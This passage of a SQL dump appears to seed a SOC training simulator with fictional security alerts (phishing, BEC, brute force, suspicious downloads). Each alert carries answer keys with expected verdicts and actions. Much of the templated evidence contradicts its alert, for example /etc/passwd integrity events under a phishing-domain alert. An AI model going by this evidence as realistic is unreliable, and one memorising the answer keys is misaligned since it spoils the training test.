attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email and URL are known to be part of phishing attacks, targeting user credentials.\"}', 'Novice', 'SIEM', 1, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected with Malicious URL\",\"date\":\"2026-03-02T13:55:06.895Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1375, 'Failed Login Attempts from Internal IP', 'medium', 'Azure Sentinel', 'Numerous failed login attempts detected from an internal IP, indicating potential unauthorized access attempts.', 'Brute Force', 'T1110', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T13:27:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"10.0.0.5\",\"username\":\"testuser\",\"hostname\":\"internal-server\",\"failed_attempts\":\"15\"}', '2026-03-02 03:07:37', '2026-03-07 11:41:37', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address detected\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"testuser\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The login failures are from an internal IP, likely due to a misconfiguration or user error.\"}', 'Novice', 'SIEM', 1, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T13:27:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"testuser\\\",\\\"hostname\\\":\\\"internal-server\\\",\\\"failed_attempts\\\":\\\"15\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1376, 'Suspicious Domain Access Detected', 'medium', 'Wazuh', 'Access to a suspicious domain detected, possibly indicating a phishing attempt.', 'Phishing', 'T1566', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T11:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.50\",\"dst_ip\":\"203.0.113.150\",\"domain\":\"suspicious-website.com\",\"username\":\"employee1\"}', '2026-03-02 03:07:37', '2026-03-07 11:43:03', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"suspicious-website.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Domain flagged for potential phishing\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP listed in suspicious activity reports\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"While the domain appears suspicious, no malicious activity has been confirmed.\"}', 'Novice', 'SIEM', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.898Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.50\\\",\\\"dst_ip\\\":\\\"203.0.113.150\\\",\\\"domain\\\":\\\"suspicious-website.com\\\",\\\"username\\\":\\\"employee1\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1377, 'Malicious Email Attachment Detected', 'critical', 'Proofpoint', 'An email was received containing an attachment with a known malicious file hash.', 'Phishing', 'T1566', 1, 'investigating', 254, '{\"timestamp\":\"2026-03-02T07:30:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.75\",\"email_sender\":\"invoice@legitcompany.com\",\"attachment_hash\":\"6dcd4ce23d88e2ee956d7f4c8f3c3c6d\",\"username\":\"finance@company.com\"}', '2026-03-02 03:07:37', '2026-03-06 07:27:42', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"hash\",\"value\":\"6dcd4ce23d88e2ee956d7f4c8f3c3c6d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Detected by 62 AV engines\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"invoice@legitcompany.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email address used in previous phishing campaigns\"}}],\"expected_actions\":[\"block_hash\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Attachment hash is widely recognized as malicious, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Malicious Email Attachment Detected\",\"date\":\"2026-03-02T13:55:06.900Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1378, 'Unauthorized Access Attempt Detected from Malicious IP', 'high', 'Splunk', 'An unauthorized access attempt detected from a known malicious IP address targeting a sensitive server.', 'Brute Force', 'T1110', 1, 'investigating', 235, '{\"timestamp\":\"2026-03-02T16:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.100\",\"username\":\"admin\",\"hostname\":\"sensitive-server02\",\"failed_attempts\":\"30\"}', '2026-03-02 03:07:37', '2026-03-03 20:14:28', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 935 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"High-privilege internal account\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Login failures from a high-risk IP suggest a targeted attack on admin accounts.\"}', 'Novice', 'SIEM', 1, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.901Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T16:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"sensitive-server02\\\",\\\"failed_attempts\\\":\\\"30\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1379, 'Phishing Email with QR Code Detected', 'medium', 'Proofpoint', 'A phishing email containing a QR code designed to redirect to a malicious site was detected.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T08:45:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.55\",\"email_sender\":\"alert@securitybank.com\",\"username\":\"user@company.com\",\"url\":\"http://malicious-qrcode-site.com\"}', '2026-03-02 03:07:37', '2026-03-06 10:27:43', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"alert@securitybank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email associated with phishing activities\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-qrcode-site.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"QR code redirects to a phishing site\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The QR code links to a malicious site, confirming the phishing attempt.\"}', 'Novice', 'SIEM', 1, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email with QR Code Detected\",\"date\":\"2026-03-02T13:55:06.903Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1380, 'BEC Attempt Detected with Spoofed Domain', 'critical', 'Elastic SIEM', 'A business email compromise attempt detected with a spoofed domain, targeting financial transactions.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T15:20:00Z\",\"event_type\":\"email_received\",\"src_ip\":\"203.0.113.70\",\"email_sender\":\"ceo@legitimatecompany.com\",\"domain\":\"legitimatecompany.com\",\"username\":\"finance@company.com\",\"url\":\"http://fake-invoice-page.com\"}', '2026-03-02 03:07:37', '2026-03-07 10:42:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"ceo@legitimatecompany.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Email domain used in BEC attacks\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://fake-invoice-page.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL mimics legitimate site for credential theft\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Spoofed domain and phishing URL indicate a targeted BEC attempt.\"}', 'Novice', 'SIEM', 1, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.904Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T15:20:00Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"203.0.113.70\\\",\\\"email_sender\\\":\\\"ceo@legitimatecompany.com\\\",\\\"domain\\\":\\\"legitimatecompany.com\\\",\\\"username\\\":\\\"finance@company.com\\\",\\\"url\\\":\\\"http://fake-invoice-page.com\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1381, 'Suspicious File Downloaded from Public IP', 'low', 'Wazuh', 'A file download from a public IP was detected, flagged as suspicious.', 'Malware', 'T1203', 0, 'Closed', 225, '{\"timestamp\":\"2026-03-02T12:05:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.20\",\"dst_ip\":\"203.0.113.95\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"user123\"}', '2026-03-02 03:07:37', '2026-03-07 11:46:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.95\",\"is_critical\":false,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in suspicious download activities\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No detection by AV engines\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The file hash is clean, and download might stem from legitimate research.\"}', 'Novice', 'SIEM', 1, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.906Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:05:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.20\\\",\\\"dst_ip\\\":\\\"203.0.113.95\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"username\\\":\\\"user123\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1382, 'Credential Harvesting Attempt via Phishing Site', 'high', 'Azure Sentinel', 'A phishing site attempting credential harvesting was accessed by an internal user.', 'Phishing', 'T1566', 1, 'Closed', 225, '{\"timestamp\":\"2026-03-02T14:10:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.168.1.55\",\"dst_ip\":\"203.0.113.85\",\"domain\":\"malicious-credentials.com\",\"username\":\"employee3\"}', '2026-03-02 03:07:37', '2026-03-09 02:42:09', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"domain\",\"value\":\"malicious-credentials.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"Domain used for credential phishing\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.85\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in phishing activities\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Access to a known phishing domain indicates an attempt to harvest credentials.\"}', 'Novice', 'SIEM', 1, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T14:10:00Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"192.168.1.55\\\",\\\"dst_ip\\\":\\\"203.0.113.85\\\",\\\"domain\\\":\\\"malicious-credentials.com\\\",\\\"username\\\":\\\"employee3\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.908Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 